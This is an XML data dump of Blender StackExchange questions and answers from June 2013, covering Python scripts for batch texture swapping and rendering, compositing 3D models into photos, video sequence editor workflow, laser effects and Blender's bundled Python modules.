  <row Id="1102" PostTypeId="2" ParentId="1101" CreationDate="2013-06-16T12:55:06.027" Score="9" Body="&lt;p&gt;I have built a script that follows a set of instructions, getting lots of textures. The script is filling the sides of a cube with textures, with 2 methods, map4 cube faces and map1cubeface. It first looks for inside the directories of a folder, jpg images, and then allocate them to the faces, then unwrap, then render. Hope you understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you go:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;from math import radians&#xA;&#xA;bpy.ops.object.select_all(action='DESELECT')&#xA;&#xA;# retrieve the active object&#xA;#bpy.ops.object.mode_set(mode = 'OBJECT')&#xA;&#xA;&#xA;def map_4_cube_faces():&#xA;&#xA;    #call context into the object to be worked with&#xA;    bpy.context.scene.objects.active = bpy.data.objects[&quot;cube&quot;]&#xA;    #attribute 4 images to 4 faces that were tracked&#xA;    for number in range(1, 5):&#xA;        #enter the context of activated material&#xA;        bpy.context.object.active_material_index = number &#xA;        #attribute image to the material image_texture node&#xA;&#xA;        bpy.data.materials[number-1].node_tree.nodes[1].image = bpy.data.images[str(number) + &quot;.jpg&quot;]&#xA;        #enter edit mode context&#xA;        bpy.ops.object.editmode_toggle()&#xA;        #select face that is assigned by the material&#xA;        bpy.ops.object.material_slot_select()&#xA;        #uv-unwrap image to the face&#xA;        bpy.ops.uv.unwrap(method='ANGLE_BASED', fill_holes=True, correct_aspect=True, use_subsurf_data=False, margin=0.001)&#xA;        #store last context to var last_area&#xA;        last_area = bpy.context.area.type&#xA;        #change context to UV Editing context&#xA;        bpy.context.area.type = 'IMAGE_EDITOR'&#xA;        bpy.ops.image.reload()&#xA;        #here it should rotate the texture by 180º, trial 1 o/ &#xA;        bpy.ops.transform.rotate(value=(radians(180)), axis=(0, 0, -1), constraint_axis=(False, False, False), constraint_orientation='GLOBAL', mirror=False, proportional='DISABLED', proportional_edit_falloff='SMOOTH', proportional_size=1, snap=False, snap_target='CLOSEST', snap_point=(0, 0, 0), snap_align=False, snap_normal=(0, 0, 0), release_confirm=False)&#xA;        #returns to the last context stored on the var last area&#xA;        bpy.context.area.type = last_area&#xA;        #reset uv&#xA;        bpy.ops.uv.reset()&#xA;        #go back into object mode&#xA;        bpy.ops.object.editmode_toggle()&#xA;&#xA;    bpy.ops.object.select_all(action='DESELECT')&#xA;&#xA;def map_1_cube_face():&#xA;    #call context into the object to be worked with&#xA;    bpy.context.scene.objects.active = bpy.data.objects[&quot;cube&quot;]&#xA;    for number in range(1, 5):&#xA;        #enter the context of activated material&#xA;        bpy.context.object.active_material_index=number &#xA;        #attribute image to the material image_texture node&#xA;&#xA;        bpy.data.materials[number-1].node_tree.nodes[1].image = bpy.data.images[&quot;1.jpg&quot;]&#xA;&#xA;        #enter edit mode context&#xA;        bpy.ops.object.editmode_toggle()&#xA;        #select face that is assigned by the material&#xA;        bpy.ops.object.material_slot_select()&#xA;        #uv-unwrap image to the face&#xA;        bpy.ops.uv.unwrap(method='ANGLE_BASED', fill_holes=True, correct_aspect=True, use_subsurf_data=False, margin=0.001)&#xA;        #store last context to var last_area&#xA;        last_area = bpy.context.area.type&#xA;        #change context to UV Editing context&#xA;        bpy.context.area.type = 'IMAGE_EDITOR'&#xA;        bpy.ops.image.reload()&#xA;        #here it should rotate the texture by 180º, but it doesn't    &#xA;        bpy.ops.transform.rotate(value=(radians(180)), axis=(0, 0, -1), constraint_axis=(False, False, False), constraint_orientation='GLOBAL', mirror=False, proportional='DISABLED', proportional_edit_falloff='SMOOTH', proportional_size=1, snap=False, snap_target='CLOSEST', snap_point=(0, 0, 0), snap_align=False, snap_normal=(0, 0, 0), release_confirm=False)&#xA;        #returns to the last context stored on the var last area&#xA;        bpy.context.area.type = last_area&#xA;        #reset uv&#xA;        bpy.ops.uv.reset()&#xA;        #go back into object mode&#xA;        bpy.ops.object.editmode_toggle()&#xA;&#xA;    bpy.ops.object.select_all(action='DESELECT')&#xA;&#xA;&#xA;def set_top_color_render(type,file_path):&#xA;    sceneKey = bpy.data.scenes.keys()[0] &#xA;&#xA;    for i in range (0,7):&#xA;        if i == 0:&#xA;            bpy.data.objects[&quot;top&quot;].active_material = bpy.data.materials[&quot;yellow&quot;]&#xA;        if i == 1:&#xA;            bpy.data.objects[&quot;top&quot;].active_material = bpy.data.materials[&quot;blue&quot;]&#xA;        if i == 2:&#xA;            bpy.data.objects[&quot;top&quot;].active_material = bpy.data.materials[&quot;white&quot;]&#xA;        if i == 3:&#xA;            bpy.data.objects[&quot;top&quot;].active_material = bpy.data.materials[&quot;orange&quot;]&#xA;        if i == 4:&#xA;            bpy.data.objects[&quot;top&quot;].active_material = bpy.data.materials[&quot;black&quot;]&#xA;        if i == 5:&#xA;            bpy.data.objects[&quot;top&quot;].active_material = bpy.data.materials[&quot;purple&quot;]&#xA;        if i == 6:&#xA;            bpy.data.objects[&quot;top&quot;].active_material = bpy.data.materials[&quot;red&quot;]&#xA;&#xA;&#xA;&#xA;        c=0&#xA;        for obj in bpy.data.objects: &#xA;            # Find cameras that match cameraNames &#xA;            if ( obj.type =='CAMERA') and ( obj.name == 'cam1' or obj.name == 'cam2') and type==&quot;0&quot;: &#xA;              #print(&quot;Rendering scene[&quot;+sceneKey+&quot;] with Camera[&quot;+obj.name+&quot;]&quot;) &#xA;&#xA;              # Set Scenes camera and output filename &#xA;              bpy.data.scenes[sceneKey].camera = obj &#xA;              bpy.data.scenes[sceneKey].render.image_settings.file_format = 'JPEG' &#xA;              bpy.data.scenes[sceneKey].render.filepath = file_path+'/renders/topcolor'+str(i)+'-'+'camera_' + str(c) &#xA;&#xA;              # Render Scene and store the scene &#xA;              bpy.ops.render.render( write_still=True ) &#xA;              c = c + 1&#xA;&#xA;            if ( obj.type =='CAMERA') and ( obj.name == 'cam1') and type==&quot;1&quot;: &#xA;              #print(&quot;Rendering scene[&quot;+sceneKey+&quot;] with Camera[&quot;+obj.name+&quot;]&quot;) &#xA;&#xA;              # Set Scenes camera and output filename &#xA;              bpy.data.scenes[sceneKey].camera = obj &#xA;              bpy.data.scenes[sceneKey].render.image_settings.file_format = 'JPEG' &#xA;              bpy.data.scenes[sceneKey].render.filepath = file_path+'/renders/topcolor'+str(i)&#xA;&#xA;              # Render Scene and store the scene &#xA;              bpy.ops.render.render( write_still=True ) &#xA;              c = c + 1&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;path=&quot;fill here the full path of your project&quot;&#xA;for root, dirs, files in os.walk(path):&#xA;    if (len(dirs)!=0):&#xA;         for directory in dirs:&#xA;             if not &quot;renders&quot; in directory:&#xA;                 if &quot;tp1&quot; in directory:&#xA;                     file_path = os.path.join(root,directory)&#xA;&#xA;                     for r,d,f in os.walk(file_path):&#xA;                         for im in f:&#xA;                            if not &quot;.DS_Store&quot; in im and not &quot;top&quot; in im:&#xA;                                bpy.ops.image.open(filepath=format(file_path)+&quot;/&quot;+im)&#xA;&#xA;                     #map faces&#xA;                     map_4_cube_faces()&#xA;                     #set top color and render&#xA;                     set_top_color_render(&quot;0&quot;,file_path)&#xA;&#xA;                 else:&#xA;                     file_path = os.path.join(root,directory)&#xA;                     for r,d,f in os.walk(file_path):&#xA;                         for im in f:&#xA;                             if not &quot;.DS_Store&quot; in im and not &quot;top&quot; in im:&#xA;&#xA;                                 bpy.ops.image.open(filepath=format(file_path)+&quot;/&quot;+im)&#xA;                     #map faces&#xA;                     map_1_cube_face()&#xA;                     #set top color and render&#xA;                     set_top_color_render(&quot;1&quot;, file_path)&#xA;&#xA;                 for r,d,f in os.walk(file_path):&#xA;                     for im in f:&#xA;                         if not &quot;.DS_Store&quot; in im and not &quot;top&quot; in im:&#xA;&#xA;                             try:&#xA;                                 bpy.data.images[im].user_clear()&#xA;                                 can_continue = True&#xA;                             except:&#xA;                                 print (&quot;tried user_clear() for &quot;+im+&quot; with no success&quot;)&#xA;                                 can_continue = False&#xA;&#xA;                             if can_continue == True:&#xA;                                 try:&#xA;                                    bpy.data.images.remove(bpy.data.images[im])&#xA;&#xA;                                 except:&#xA;                                    print (&quot;tried remove() for &quot;+im+&quot; with no success&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="701" LastEditorUserId="55" LastEditDate="2013-06-16T15:06:16.910" LastActivityDate="2013-06-16T15:06:16.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1103" PostTypeId="1" CreationDate="2013-06-16T13:16:07.107" Score="9" ViewCount="6652" Body="&lt;p&gt;I was wondering how you would go about putting a 3D object into a photograph so that portions of the image are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In front of, or&lt;/li&gt;&#xA;&lt;li&gt;Behind the model.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For example, a photo taken from the roadside with a tree in the foreground.  I want to show a 3D model of a car in the photo on the road but a section of it is not visible because it is obscured by the tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? If so, how can you do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="702" LastEditorUserId="12" LastEditDate="2013-06-17T00:03:36.987" LastActivityDate="2013-06-17T11:39:20.233" Title="Composite a 3D object into a photograph" Tags="&lt;rendering&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1104" PostTypeId="2" ParentId="1101" CreationDate="2013-06-16T13:22:59.790" Score="24" Body="&lt;p&gt;For starter, there's already quite a bit of discussion about command-line rendering in this forum, like for &lt;a href=&quot;https://blender.stackexchange.com/q/313/185&quot;&gt;this question&lt;/a&gt;. You do need scripting for such automation. Here's a script containing just the basics, elaborated below:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Script:&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Run as: blender -b &amp;lt;filename&amp;gt; -P &amp;lt;this_script&amp;gt; -- &amp;lt;image_path&amp;gt;&#xA;import bpy, sys, os&#xA;&#xA;# Assume the last argument is image path&#xA;imagePath = sys.argv[-1]&#xA;&#xA;if os.path.exists(imagePath):&#xA;    # Assume object, material and texture name (and settings) are valid&#xA;    charObj = bpy.data.objects['Char01']&#xA;    charMat = charObj.material_slots['Char01Mat'].material&#xA;    charTex = charMat.texture_slots['Char01Tex'].texture&#xA;    charTex.image.filepath = imagePath&#xA;&#xA;    # Render to separate file, identified by texture file&#xA;    imageBaseName = bpy.path.basename(imagePath)&#xA;    bpy.context.scene.render.filepath += '-' + imageBaseName&#xA;&#xA;    # Render still image, automatically write to output path&#xA;    bpy.ops.render.render(write_still=True)&#xA;else:&#xA;    print(&quot;Missing Image:&quot;, imagePath)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Invocation:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;There are several arguments you need to pass, to make scripts like this work:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;-b &amp;lt;fileName.blend&amp;gt;&lt;/code&gt; to load specified .blend file without UI,&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;-P &amp;lt;scriptName.py&amp;gt;&lt;/code&gt; to load and execute specified Python script,&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;--&lt;/code&gt; prevents Blender from processing subsequent arguments,&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;&amp;lt;imagePath&amp;gt;&lt;/code&gt; will specify texture image file, to be read by the script.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For this discussion, let's say you save the script as &lt;code&gt;render_script.py&lt;/code&gt;, and execute it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender -b char01.blend -P render_script.py -- tex01.png&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Description:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The script itself just reads image file path, assigning it to appropriate texture, tweak some render settings, and then rendering the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Command-line arguments can be accessed in &lt;a href=&quot;http://docs.python.org/3/library/sys.html#sys.argv&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;sys.argv&lt;/code&gt;&lt;/a&gt;, and by passing -1 index, we access the rightmost argument. In the example above, it's &lt;code&gt;tex01.png&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After verifying that the path is valid, using &lt;a href=&quot;http://docs.python.org/3/library/os.path.html#os.path.exists&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;os.path.exists()&lt;/code&gt;&lt;/a&gt;, the filename is passed as texture image path. This part assumes that the object exist, with material and texture already set, and names as specified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The third step is to modify render output &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.types.RenderSettings.html#bpy.types.RenderSettings.filepath&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;filepath&lt;/code&gt;&lt;/a&gt;, so that each render with different texture will be written to separate files. So if output is already set as &lt;code&gt;//sprite&lt;/code&gt;, this particular render will be written as &lt;code&gt;sprite-tex01.png&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally it just executes &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.ops.render.html#bpy.ops.render.render&quot; rel=&quot;noreferrer&quot;&gt;render()&lt;/a&gt; (making it automatically write still image), then exits quietly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This script contains only the gist of what needs to be done, so I really suggest you to modify it to suit your need.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2013-06-17T05:26:55.380" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1106" PostTypeId="2" ParentId="1101" CreationDate="2013-06-16T14:50:46.320" Score="4" Body="&lt;p&gt;You can also make use of an Image Texture Node that uses an image sequence as the source. Save all the images that are part of the sprite as image.0001.png, image.0002.png, etc.. and then you can browse to the folder and select the first image..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the Image Texture Node specify the number of frames in the sequence and the start frame (usually 1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this as a starting point, you can further automate using the techniques described in the other answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/saGNz.png&quot; alt=&quot;Using an image sequence&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="228" LastActivityDate="2013-06-16T14:50:46.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1107" PostTypeId="1" AcceptedAnswerId="1117" CreationDate="2013-06-16T15:40:17.273" Score="7" ViewCount="3553" Body="&lt;p&gt;I am doing a video project in blender, consisting of one title animation (sceneTitle), a main animation (sceneMain) and a end animation (sceneEnd).&#xA;I put those animations in different scenes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to use the Video Sequence Editor to render the whole project. Therefore, i am basically adding the 3 scenes in the VSE, with some transitions etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The content of the VSE seems to be &quot;part&quot; of a scene, so when I arrange the 3 scenes in the VSE and then change the current scene, the VSE is empty again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I use a separate scene (sceneVSE) with no 3D objects to arrange the other scenes in the VSE?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And: Which render settings apply in this case?&#xA;Say I would use different resolutions for every scene...?&#xA;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sceneTitle has a resolution of 400x400&#xA;sceneMain has a resolution of 800x800&#xA;sceneEnd has a resultion of 400x400&#xA;sceneVSE has a resolution of 800x800&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Rendering (while sceneVSE is the active scene) should then give me a 800x800 result, with small title and end scenes (only covering half of the screen).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The FPS setting must be the same accross all scenes, right?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;render(sceneTitle)---|&#xA;render(sceneMain)----|-&amp;gt;VSE-&amp;gt;render(sceneVSE)&#xA;render(sceneEnd)-----|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this &quot;timing&quot; diagramm correct?&lt;/p&gt;&#xA;" OwnerUserId="690" LastActivityDate="2013-06-16T21:42:13.720" Title="Video Editing Workflow: Use a separate scene for VSE?" Tags="&lt;rendering&gt;&lt;workflow&gt;&lt;video-sequence-editor&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1109" PostTypeId="2" ParentId="1096" CreationDate="2013-06-16T16:08:03.633" Score="5" Body="&lt;p&gt;Zeffii's method is best but if you still want to use halo,you can do it like this-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yeah I used blender internal renderer &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add plane in front of a spotlight and edit it such that there is a very small hole in it for light to pass.Make following changes in properties of lamp:&#xA;Set shadow to buffer shadow and buffer type to Classical hallway,and set filter type to gauss.&#xA;keep angle of spot low(around 10).Turn on Halo and increase steps to higher value and also increase intensity to a very high value(20 or more).&#xA;Experiment with steps,intensity and hole size to suit yourself.&#xA;But light is not actually a line but a spot light with very small angle.&lt;/p&gt;&#xA;" OwnerUserId="432" LastEditorUserId="6076" LastEditDate="2017-09-15T06:15:57.440" LastActivityDate="2017-09-15T06:15:57.440" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1110" PostTypeId="2" ParentId="1107" CreationDate="2013-06-16T16:21:05.557" Score="0" Body="&lt;p&gt;Sequence strips are stored per scene, so in your case they appear to vanish when you switch scenes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its better to add the sequence strips in a new scene. The final render output size is controlled by the scene which has the sequence strips. Although, each scene will be rendered with its own render settings.&lt;/p&gt;&#xA;" OwnerUserId="228" LastActivityDate="2013-06-16T16:21:05.557" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1112" PostTypeId="2" ParentId="886" CreationDate="2013-06-16T17:59:36.163" Score="1" Body="&lt;p&gt;Ok, this happened to me again and I have figured out what the problem is/was. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are rendering with Luxrender and have sent a render off to Lux, while it is rendering it will not allow access to the operator panel. I guess I'm a bit thick not to have figured this out before but there it is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as you stop the render in Blender you have access back again. This won't stopp the render in the Lux gui if you are using that though, so you can still continue the render and work in Blender at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps&lt;/p&gt;&#xA;" OwnerUserId="438" LastActivityDate="2013-06-16T17:59:36.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1114" PostTypeId="2" ParentId="985" CreationDate="2013-06-16T18:28:14.857" Score="1" Body="&lt;p&gt;Looks to me like you have extra lights that are hidden in the viewport, so they're not being rendered in the viewport. However they will still render with F12, unless they are disabled at render time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check in the Outliner to see if you have objects that are hidden in the viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wliBw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2013-06-16T18:28:14.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1115" PostTypeId="2" ParentId="1096" CreationDate="2013-06-16T19:16:47.033" Score="4" Body="&lt;p&gt;&lt;strong&gt;Render Nodes Approach&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;This approach depends on which Render Engine you are using.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Blender Internal&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;You will start with modeling your object. I find that a cylindrical object works well. After you model, animate, ect. Then you will need to add your materials. Go to the shading panel under materials, and select shadeless. Set your Diffuse HSV value to 1. Then go to your passes panel under the render settings and make sure that the ** combined, Z, and Vector** are selected. Render your image.&lt;/p&gt;&#xA;&lt;p&gt;Now You will need to set up your nodes. Go to the node editor window make sure that you have node render passes selected. Select use nodes and backdrop on the header. Add in a veiwer node. This will enable you to see what you are making. Now add in a Vector Blur node under filter. Connect speed with speed, z to z, and image to image. Do not do any thing with the alpha node connect. Now add in four blur nodes set to fast guassian. connect your vector blur to all of these. Now set the top blur to X:2 Y:2. set the second blur to X:10 Y:10. Set the third to X:20 Y:20. and the fourth to X:40 Y:40. Now what you wan to do is using add nodes add them all together. Then add in a RGB curves node to set the color of your laser.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Cycles&lt;/strong&gt;&#xA;The only difference with this is that for your material you will set it to emission and then set your render pass to emit rather than vector. You will use the same node set up  except you won't use the vector blur just set the emit to the image input.&lt;/p&gt;&#xA;&lt;p&gt;Oh by the way make sure that your world is set to BLACK or you will get some interesting results. Here is mine.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/znwEF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="468" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-06-16T19:16:47.033" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1116" PostTypeId="1" AcceptedAnswerId="1119" CreationDate="2013-06-16T21:29:42.120" Score="20" ViewCount="631" Body="&lt;p&gt;Which modules are guaranteed to be included in Blender's custom Python build?&lt;/p&gt;&#xA;" OwnerUserId="195" LastEditorUserId="599" LastEditDate="2013-12-05T22:57:42.293" LastActivityDate="2013-12-05T22:57:42.293" Title="Which modules are guaranteed to be present in Blender's Python?" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1117" PostTypeId="2" ParentId="1107" CreationDate="2013-06-16T21:42:13.720" Score="11" Body="&lt;p&gt;Let me explain you a workflow for video editing based on my experience. As every aspect of 3d, everybody has their methods, but the following has worked pretty well for me after trying out a lot of different workflows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(First of all &lt;strong&gt;&lt;em&gt;do not&lt;/em&gt;&lt;/strong&gt; &quot;render&quot; (from actually 3d scenes) from the VSE,  unless you are doing animatics, layout or something that are not final renders)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Start off by rendering your three scenes into single image sequences&#xA;without any compositing and organized into separate folders (OpenEXR&#xA;is a recommended format).&lt;/li&gt;&#xA;&lt;li&gt;Do the compositing using your image sequences and render (again) into single image sequences.&lt;/li&gt;&#xA;&lt;li&gt;Then, using a &lt;strong&gt;&lt;em&gt;new blender scene&lt;/em&gt;&lt;/strong&gt;, render the sequences into single movie files.&lt;/li&gt;&#xA;&lt;li&gt;In your case you should have three movie files to do the final&#xA;editing in a blender file used &lt;strong&gt;&lt;em&gt;only&lt;/em&gt;&lt;/strong&gt; for editing.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Render image sequences &gt; Compositing image sequences &gt; Movie files &gt; Editing&lt;/em&gt;&lt;/strong&gt; has given me great results. Using image sequences lets you fixed any problems in the renders without rendering the whole thing again, and editing with movie files will let you have a waaay faster playback and editing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, be careful with resolution, FPS and other settings. Every new scene that you use will overwrite the settings. So you have to be very organized in that matter. I recommend you to establish some settings before working on your project. Preferably all your scenes must have the same resolution, or you'll have some weirdly scaled result.&lt;/p&gt;&#xA;" OwnerUserId="191" LastActivityDate="2013-06-16T21:42:13.720" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1118" PostTypeId="2" ParentId="1116" CreationDate="2013-06-16T21:48:57.477" Score="7" Body="&lt;p&gt;Run from console to find out.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;print(sys.path)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;anything located in any of these directories. the standard python library stuff will be located in &lt;code&gt;...\\x.xx\\python\\lib&lt;/code&gt;, where &lt;code&gt;x.xx&lt;/code&gt; is the release version, currently 2.67.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-17T06:26:29.797" LastActivityDate="2013-06-17T06:26:29.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1119" PostTypeId="2" ParentId="1116" CreationDate="2013-06-16T22:01:13.913" Score="20" Body="&lt;p&gt;Everything included in the Python standard library, except the modules &lt;code&gt;tkinter&lt;/code&gt;, &lt;code&gt;turtledemo&lt;/code&gt;, &lt;code&gt;distutils&lt;/code&gt;, &lt;code&gt;idlelib&lt;/code&gt;, &lt;code&gt;lib2to3&lt;/code&gt; and &lt;code&gt;test&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the &lt;a href=&quot;http://lists.blender.org/pipermail/bf-committers/2008-December/022295.html&quot;&gt;rationale for why these modules were not included&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="242" LastActivityDate="2013-06-16T22:01:13.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1120" PostTypeId="2" ParentId="1103" CreationDate="2013-06-16T23:53:45.803" Score="8" Body="&lt;p&gt;To bring some sort of closure to this question &lt;em&gt;(as it's sure to get asked in the near future again)&lt;/em&gt;, to get shadows and add a bit more realism, you can refer to the answer on &lt;a href=&quot;https://blender.stackexchange.com/questions/518/how-to-make-a-model-cast-shadows-onto-the-world-texture-background&quot;&gt;How to make a model cast shadows onto the world texture/background?&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To answer this question with the one thing not mentioned there&lt;/strong&gt;. You don't really need to use compositing here as you might have thought, the simplest way to do this is to model an object to mimic the shape of the &lt;strong&gt;object&lt;/strong&gt; you want to use to obscure your other object(s) &lt;em&gt;and while some people have and or will use some complex node setups&lt;/em&gt;, you can just add a new material to the 'mask object', enable &lt;em&gt;Transparency&lt;/em&gt;, set it to &lt;em&gt;Mask&lt;/em&gt; and turn the &lt;em&gt;Alpha&lt;/em&gt; to &lt;code&gt;0&lt;/code&gt; like this..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f5fCT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the setup of my scene, the tree trunk has the 'mask' material applied to it and I have a ground plane to catch a little shadow to make it a bit more realistic.. &lt;em&gt;I grabbed the picture of the tree from &lt;a href=&quot;http://www.mayang.com/textures/Plants/images/Trees/single_tree_1010258.JPG&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lCKps.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and here it is rendered..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jxycZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to get it to look better is up to you and what you want..&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2013-06-17T11:39:20.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1121" PostTypeId="1" AcceptedAnswerId="1476" CreationDate="2013-06-17T00:32:20.470" Score="9" ViewCount="2753" Body="&lt;p&gt;I'd like to use a MIDI enabled device, in this case a mixer with knobs and faders, as a controller for the game engine, to do a live projection and change some parameters in real time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only things I found on the web are dealing with reading midi files (like &lt;a href=&quot;https://blender.stackexchange.com/questions/801/midi-driven-animation-in-blender-2-6/827#827&quot;&gt;this&lt;/a&gt;) and not live interaction. Someone managed to get something going with a midi-to-keyboard mapper, but that defies the point of using a MIDI device, which sends a lot more informations than a keyboard does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this, short of coding it from scratch?&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2013-06-28T15:36:25.993" Title="Is there a way to use a MIDI controller as a sensor in the Game Engine?" Tags="&lt;game-engine&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
